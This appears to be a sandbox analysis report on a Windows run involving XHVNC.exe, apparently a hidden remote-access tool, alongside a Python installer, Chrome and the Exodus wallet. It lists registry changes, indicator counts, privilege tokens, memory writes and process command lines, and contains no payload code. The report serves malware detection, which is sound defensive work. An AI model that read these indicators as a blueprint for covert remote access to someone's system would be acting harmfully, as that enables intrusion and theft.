Key created	\REGISTRY\USER\S-1-5-21-3968772205-1713802336-1776639840-1000_Classes\CLSID\{BEA218D2-6950-497B-9434-61683EC065FE}	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-3968772205-1713802336-1776639840-1000_Classes\Installer\Dependencies\{3C4935A5-B72E-4DA4-809E-0287A0BC046F}\Dependents	python-3.12.4-amd64.exe
Key created	\REGISTRY\USER\S-1-5-21-3968772205-1713802336-1776639840-1000_Classes\Installer\Dependencies\{EFA83559-2E1E-4671-85F7-B28AA1DD08D7}\Dependents	python-3.12.4-amd64.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3968772205-1713802336-1776639840-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1"	XHVNC.exe
Key created	\REGISTRY\USER\S-1-5-21-3968772205-1713802336-1776639840-1000_Classes\Installer\Dependencies\{7BFF8368-33A0-4DB3-9442-F5C881FE1B4D}\Dependents	python-3.12.4-amd64.exe
Key created	\REGISTRY\USER\S-1-5-21-3968772205-1713802336-1776639840-1000_Classes\Python.File	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-3968772205-1713802336-1776639840-1000_Classes\.pyzw	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-3968772205-1713802336-1776639840-1000_Classes\Python.NoConArchiveFile\shellex\DropHandler	msiexec.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3968772205-1713802336-1776639840-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\TrayNotify\UserStartTime = "133567065819626963"	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3968772205-1713802336-1776639840-1000_Classes\Installer\Dependencies\{AC669800-A797-444D-A450-A5109BBC74DE}\DisplayName = "Python 3.12.4 Test Suite (64-bit)"	python-3.12.4-amd64.exe
Key created	\REGISTRY\USER\S-1-5-21-3968772205-1713802336-1776639840-1000_Classes\Python.NoConFile\Shell\editwithidle\shell\edit312	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-3968772205-1713802336-1776639840-1000_Classes\Python.NoConArchiveFile\shell\open	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-3968772205-1713802336-1776639840-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\3\0	XHVNC.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3968772205-1713802336-1776639840-1000_Classes\Installer\Dependencies\{7BFF8368-33A0-4DB3-9442-F5C881FE1B4D}\DisplayName = "Python 3.12.4 Development Libraries (64-bit)"	python-3.12.4-amd64.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3968772205-1713802336-1776639840-1000_Classes\.py\ = "Python.File"	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-3968772205-1713802336-1776639840-1000_Classes\Python.File\DefaultIcon	msiexec.exe

Suspicious behavior: AddClipboardFormatListener 3 IoCs

Processes:

explorer.exe

pid process

4544 explorer.exe
4544 explorer.exe
4544 explorer.exe

pid	process
4544	explorer.exe
4544	explorer.exe
4544	explorer.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

msiexec.exechrome.exechrome.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exeexodus.exeXHVNC-Client.exeXHVNC-Client.exeXHVNC-Client.exe

pid	process
3560	msiexec.exe
3560	msiexec.exe
3560	msiexec.exe
3560	msiexec.exe
3560	msiexec.exe
3560	msiexec.exe
3560	msiexec.exe
3560	msiexec.exe
3560	msiexec.exe
3560	msiexec.exe
3560	msiexec.exe
3560	msiexec.exe
3560	msiexec.exe
3560	msiexec.exe
3560	msiexec.exe
3560	msiexec.exe
3560	msiexec.exe
3560	msiexec.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
4896	chrome.exe
4896	chrome.exe
1952	powershell.exe
1952	powershell.exe
1952	powershell.exe
1952	powershell.exe
3100	powershell.exe
3100	powershell.exe
3100	powershell.exe
3100	powershell.exe
496	powershell.exe
496	powershell.exe
496	powershell.exe
496	powershell.exe
3984	powershell.exe
3984	powershell.exe
3984	powershell.exe
3984	powershell.exe
3312	powershell.exe
3312	powershell.exe
3312	powershell.exe
3312	powershell.exe
3768	powershell.exe
3768	powershell.exe
3768	powershell.exe
3768	powershell.exe
4896	exodus.exe
4896	exodus.exe
4896	exodus.exe
4896	exodus.exe
4896	exodus.exe
4896	exodus.exe
5124	XHVNC-Client.exe
5124	XHVNC-Client.exe
5124	XHVNC-Client.exe
5388	XHVNC-Client.exe
5388	XHVNC-Client.exe
5388	XHVNC-Client.exe
5388	XHVNC-Client.exe
5388	XHVNC-Client.exe
5676	XHVNC-Client.exe
5676	XHVNC-Client.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

XHVNC.exe

pid process

3240 XHVNC.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 15 IoCs

Processes:

chrome.exe

pid	process
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

python-3.12.4-amd64.exemsiexec.exe

description	pid	process
Token: SeShutdownPrivilege	4512	python-3.12.4-amd64.exe
Token: SeIncreaseQuotaPrivilege	4512	python-3.12.4-amd64.exe
Token: SeSecurityPrivilege	3560	msiexec.exe
Token: SeCreateTokenPrivilege	4512	python-3.12.4-amd64.exe
Token: SeAssignPrimaryTokenPrivilege	4512	python-3.12.4-amd64.exe
Token: SeLockMemoryPrivilege	4512	python-3.12.4-amd64.exe
Token: SeIncreaseQuotaPrivilege	4512	python-3.12.4-amd64.exe
Token: SeMachineAccountPrivilege	4512	python-3.12.4-amd64.exe
Token: SeTcbPrivilege	4512	python-3.12.4-amd64.exe
Token: SeSecurityPrivilege	4512	python-3.12.4-amd64.exe
Token: SeTakeOwnershipPrivilege	4512	python-3.12.4-amd64.exe
Token: SeLoadDriverPrivilege	4512	python-3.12.4-amd64.exe
Token: SeSystemProfilePrivilege	4512	python-3.12.4-amd64.exe
Token: SeSystemtimePrivilege	4512	python-3.12.4-amd64.exe
Token: SeProfSingleProcessPrivilege	4512	python-3.12.4-amd64.exe
Token: SeIncBasePriorityPrivilege	4512	python-3.12.4-amd64.exe
Token: SeCreatePagefilePrivilege	4512	python-3.12.4-amd64.exe
Token: SeCreatePermanentPrivilege	4512	python-3.12.4-amd64.exe
Token: SeBackupPrivilege	4512	python-3.12.4-amd64.exe
Token: SeRestorePrivilege	4512	python-3.12.4-amd64.exe
Token: SeShutdownPrivilege	4512	python-3.12.4-amd64.exe
Token: SeDebugPrivilege	4512	python-3.12.4-amd64.exe
Token: SeAuditPrivilege	4512	python-3.12.4-amd64.exe
Token: SeSystemEnvironmentPrivilege	4512	python-3.12.4-amd64.exe
Token: SeChangeNotifyPrivilege	4512	python-3.12.4-amd64.exe
Token: SeRemoteShutdownPrivilege	4512	python-3.12.4-amd64.exe
Token: SeUndockPrivilege	4512	python-3.12.4-amd64.exe
Token: SeSyncAgentPrivilege	4512	python-3.12.4-amd64.exe
Token: SeEnableDelegationPrivilege	4512	python-3.12.4-amd64.exe
Token: SeManageVolumePrivilege	4512	python-3.12.4-amd64.exe
Token: SeImpersonatePrivilege	4512	python-3.12.4-amd64.exe
Token: SeCreateGlobalPrivilege	4512	python-3.12.4-amd64.exe
Token: SeRestorePrivilege	3560	msiexec.exe
Token: SeTakeOwnershipPrivilege	3560	msiexec.exe
Token: SeRestorePrivilege	3560	msiexec.exe
Token: SeTakeOwnershipPrivilege	3560	msiexec.exe
Token: SeRestorePrivilege	3560	msiexec.exe
Token: SeTakeOwnershipPrivilege	3560	msiexec.exe
Token: SeRestorePrivilege	3560	msiexec.exe
Token: SeTakeOwnershipPrivilege	3560	msiexec.exe
Token: SeRestorePrivilege	3560	msiexec.exe
Token: SeTakeOwnershipPrivilege	3560	msiexec.exe
Token: SeRestorePrivilege	3560	msiexec.exe
Token: SeTakeOwnershipPrivilege	3560	msiexec.exe
Token: SeRestorePrivilege	3560	msiexec.exe
Token: SeTakeOwnershipPrivilege	3560	msiexec.exe
Token: SeRestorePrivilege	3560	msiexec.exe
Token: SeTakeOwnershipPrivilege	3560	msiexec.exe
Token: SeRestorePrivilege	3560	msiexec.exe
Token: SeTakeOwnershipPrivilege	3560	msiexec.exe
Token: SeRestorePrivilege	3560	msiexec.exe
Token: SeTakeOwnershipPrivilege	3560	msiexec.exe
Token: SeRestorePrivilege	3560	msiexec.exe
Token: SeTakeOwnershipPrivilege	3560	msiexec.exe
Token: SeRestorePrivilege	3560	msiexec.exe
Token: SeTakeOwnershipPrivilege	3560	msiexec.exe
Token: SeRestorePrivilege	3560	msiexec.exe
Token: SeTakeOwnershipPrivilege	3560	msiexec.exe
Token: SeRestorePrivilege	3560	msiexec.exe
Token: SeTakeOwnershipPrivilege	3560	msiexec.exe
Token: SeRestorePrivilege	3560	msiexec.exe
Token: SeTakeOwnershipPrivilege	3560	msiexec.exe
Token: SeRestorePrivilege	3560	msiexec.exe
Token: SeTakeOwnershipPrivilege	3560	msiexec.exe

Suspicious use of FindShellTrayWindow 64 IoCs

Processes:

python-3.12.4-amd64.exechrome.exeexplorer.exe

pid	process
4512	python-3.12.4-amd64.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
4544	explorer.exe
4544	explorer.exe
4544	explorer.exe
4544	explorer.exe
4544	explorer.exe
4544	explorer.exe
4544	explorer.exe
4544	explorer.exe
4544	explorer.exe
4544	explorer.exe
4544	explorer.exe
4544	explorer.exe
4544	explorer.exe
4544	explorer.exe
4544	explorer.exe
4544	explorer.exe
4544	explorer.exe
4544	explorer.exe
4544	explorer.exe

Suspicious use of SendNotifyMessage 52 IoCs

Processes:

chrome.exeexplorer.exe

pid	process
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
4544	explorer.exe
4544	explorer.exe
4544	explorer.exe
4544	explorer.exe
4544	explorer.exe
4544	explorer.exe
4544	explorer.exe
4544	explorer.exe
4544	explorer.exe
4544	explorer.exe
4544	explorer.exe
4544	explorer.exe
4544	explorer.exe
4544	explorer.exe
4544	explorer.exe
4544	explorer.exe
4544	explorer.exe
4544	explorer.exe
4544	explorer.exe
4544	explorer.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe
1624	chrome.exe

Suspicious use of SetWindowsHookEx 11 IoCs

Processes:

XHVNC.exeSearchUI.exeexplorer.exe

pid	process
3240	XHVNC.exe
3240	XHVNC.exe
3240	XHVNC.exe
1084	SearchUI.exe
3240	XHVNC.exe
4544	explorer.exe
4544	explorer.exe
4544	explorer.exe
4544	explorer.exe
4544	explorer.exe
4544	explorer.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

python-3.12.4-amd64.exemsiexec.exeMsiExec.exepython.exepython-3.12.4-amd64.exechrome.exe

description	pid	process	target process
PID 2304 wrote to memory of 4512	2304	python-3.12.4-amd64.exe	python-3.12.4-amd64.exe
PID 2304 wrote to memory of 4512	2304	python-3.12.4-amd64.exe	python-3.12.4-amd64.exe
PID 2304 wrote to memory of 4512	2304	python-3.12.4-amd64.exe	python-3.12.4-amd64.exe
PID 3560 wrote to memory of 3620	3560	msiexec.exe	MsiExec.exe
PID 3560 wrote to memory of 3620	3560	msiexec.exe	MsiExec.exe
PID 3560 wrote to memory of 3620	3560	msiexec.exe	MsiExec.exe
PID 3620 wrote to memory of 2096	3620	MsiExec.exe	python.exe
PID 3620 wrote to memory of 2096	3620	MsiExec.exe	python.exe
PID 2096 wrote to memory of 4328	2096	python.exe	python.exe
PID 2096 wrote to memory of 4328	2096	python.exe	python.exe
PID 4512 wrote to memory of 2676	4512	python-3.12.4-amd64.exe	pythonw.exe
PID 4512 wrote to memory of 2676	4512	python-3.12.4-amd64.exe	pythonw.exe
PID 1624 wrote to memory of 4156	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 4156	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 1980	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 1980	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 1980	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 1980	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 1980	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 1980	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 1980	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 1980	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 1980	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 1980	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 1980	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 1980	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 1980	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 1980	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 1980	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 1980	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 1980	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 1980	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 1980	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 1980	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 1980	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 1980	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 1980	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 1980	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 1980	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 1980	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 1980	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 1980	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 1980	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 1980	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 1980	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 1980	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 1980	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 1980	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 1980	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 1980	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 1980	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 1980	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 1740	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 1740	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 2132	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 2132	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 2132	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 2132	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 2132	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 2132	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 2132	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 2132	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 2132	1624	chrome.exe	chrome.exe
PID 1624 wrote to memory of 2132	1624	chrome.exe	chrome.exe

C:\Users\Admin\AppData\Local\Temp\python-3.12.4-amd64.exe
"C:\Users\Admin\AppData\Local\Temp\python-3.12.4-amd64.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2304

C:\Windows\Temp\{5FC8B7B8-2DC9-4EC6-9E78-4EF5FEADF2E9}\.cr\python-3.12.4-amd64.exe
"C:\Windows\Temp\{5FC8B7B8-2DC9-4EC6-9E78-4EF5FEADF2E9}\.cr\python-3.12.4-amd64.exe" -burn.clean.room="C:\Users\Admin\AppData\Local\Temp\python-3.12.4-amd64.exe" -burn.filehandle.attached=524 -burn.filehandle.self=532
2⤵
- Adds Run key to start application
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:4512

C:\Users\Admin\AppData\Local\Programs\Python\Python312\pythonw.exe
"C:\Users\Admin\AppData\Local\Programs\Python\Python312\pythonw.exe" -c "import winreg; winreg.SetValueEx(winreg.CreateKey(winreg.HKEY_LOCAL_MACHINE, r'SYSTEM\CurrentControlSet\Control\FileSystem'), 'LongPathsEnabled', None, winreg.REG_DWORD, 1)"
3⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2676

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Blocklisted process makes network request
- Enumerates connected drives
- Drops file in Windows directory
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3560

C:\Windows\syswow64\MsiExec.exe
C:\Windows\syswow64\MsiExec.exe -Embedding 34280CF207209C2D5712492557100048
2⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3620

C:\Users\Admin\AppData\Local\Programs\Python\Python312\python.exe
"C:\Users\Admin\AppData\Local\Programs\Python\Python312\python.exe" -E -s -m ensurepip -U --default-pip
3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2096

C:\Users\Admin\AppData\Local\Programs\Python\Python312\python.exe
C:\Users\Admin\AppData\Local\Programs\Python\Python312\python.exe -W ignore::DeprecationWarning -c " import runpy import sys sys.path = ['C:\\Users\\Admin\\AppData\\Local\\Temp\\tmpbomc409m\\pip-24.0-py3-none-any.whl'] + sys.path sys.argv[1:] = ['install', '--no-cache-dir', '--no-index', '--find-links', 'C:\\Users\\Admin\\AppData\\Local\\Temp\\tmpbomc409m', '--upgrade', 'pip'] runpy.run_module(\"pip\", run_name=\"__main__\", alter_sys=True) "
4⤵
- Executes dropped EXE
- Loads dropped DLL
PID:4328

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe"
1⤵
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1624

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xd0,0xd4,0xd8,0xac,0xdc,0x7ffd1c789758,0x7ffd1c789768,0x7ffd1c789778
2⤵
PID:4156

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1552 --field-trial-handle=1836,i,2362207085483967022,11369997473441801914,131072 /prefetch:2
2⤵
PID:1980

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1824 --field-trial-handle=1836,i,2362207085483967022,11369997473441801914,131072 /prefetch:8
2⤵
PID:1740

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2120 --field-trial-handle=1836,i,2362207085483967022,11369997473441801914,131072 /prefetch:8
2⤵
PID:2132

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2868 --field-trial-handle=1836,i,2362207085483967022,11369997473441801914,131072 /prefetch:1
2⤵
PID:1696

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=2876 --field-trial-handle=1836,i,2362207085483967022,11369997473441801914,131072 /prefetch:1
2⤵
PID:1744

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=4384 --field-trial-handle=1836,i,2362207085483967022,11369997473441801914,131072 /prefetch:1
2⤵
PID:1916

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4892 --field-trial-handle=1836,i,2362207085483967022,11369997473441801914,131072 /prefetch:8
2⤵
PID:1136

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5024 --field-trial-handle=1836,i,2362207085483967022,11369997473441801914,131072 /prefetch:8
2⤵
PID:3520

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=5000 --field-trial-handle=1836,i,2362207085483967022,11369997473441801914,131072 /prefetch:8
2⤵
PID:4116

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --mojo-platform-channel-handle=5100 --field-trial-handle=1836,i,2362207085483967022,11369997473441801914,131072 /prefetch:1
2⤵
PID:4476

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --mojo-platform-channel-handle=3748 --field-trial-handle=1836,i,2362207085483967022,11369997473441801914,131072 /prefetch:1
2⤵
PID:5052

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --mojo-platform-channel-handle=5148 --field-trial-handle=1836,i,2362207085483967022,11369997473441801914,131072 /prefetch:1
2⤵
PID:3168

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --mojo-platform-channel-handle=3792 --field-trial-handle=1836,i,2362207085483967022,11369997473441801914,131072 /prefetch:1
2⤵
PID:372

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --mojo-platform-channel-handle=3180 --field-trial-handle=1836,i,2362207085483967022,11369997473441801914,131072 /prefetch:1
2⤵
PID:604

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --mojo-platform-channel-handle=5188 --field-trial-handle=1836,i,2362207085483967022,11369997473441801914,131072 /prefetch:1
2⤵
PID:2672

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --mojo-platform-channel-handle=4548 --field-trial-handle=1836,i,2362207085483967022,11369997473441801914,131072 /prefetch:1
2⤵
PID:3928

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --mojo-platform-channel-handle=5188 --field-trial-handle=1836,i,2362207085483967022,11369997473441801914,131072 /prefetch:1
2⤵
PID:1416

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5264 --field-trial-handle=1836,i,2362207085483967022,11369997473441801914,131072 /prefetch:8
2⤵
PID:2396

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3964 --field-trial-handle=1836,i,2362207085483967022,11369997473441801914,131072 /prefetch:8
2⤵
PID:1136

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4540 --field-trial-handle=1836,i,2362207085483967022,11369997473441801914,131072 /prefetch:8
2⤵
PID:3684

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=2904 --field-trial-handle=1836,i,2362207085483967022,11369997473441801914,131072 /prefetch:8
2⤵
PID:384

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --mojo-platform-channel-handle=4944 --field-trial-handle=1836,i,2362207085483967022,11369997473441801914,131072 /prefetch:1
2⤵
PID:4204

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --mojo-platform-channel-handle=2876 --field-trial-handle=1836,i,2362207085483967022,11369997473441801914,131072 /prefetch:1
2⤵
PID:1832

C:\Program Files\Google\Chrome\Application\chrome.exe
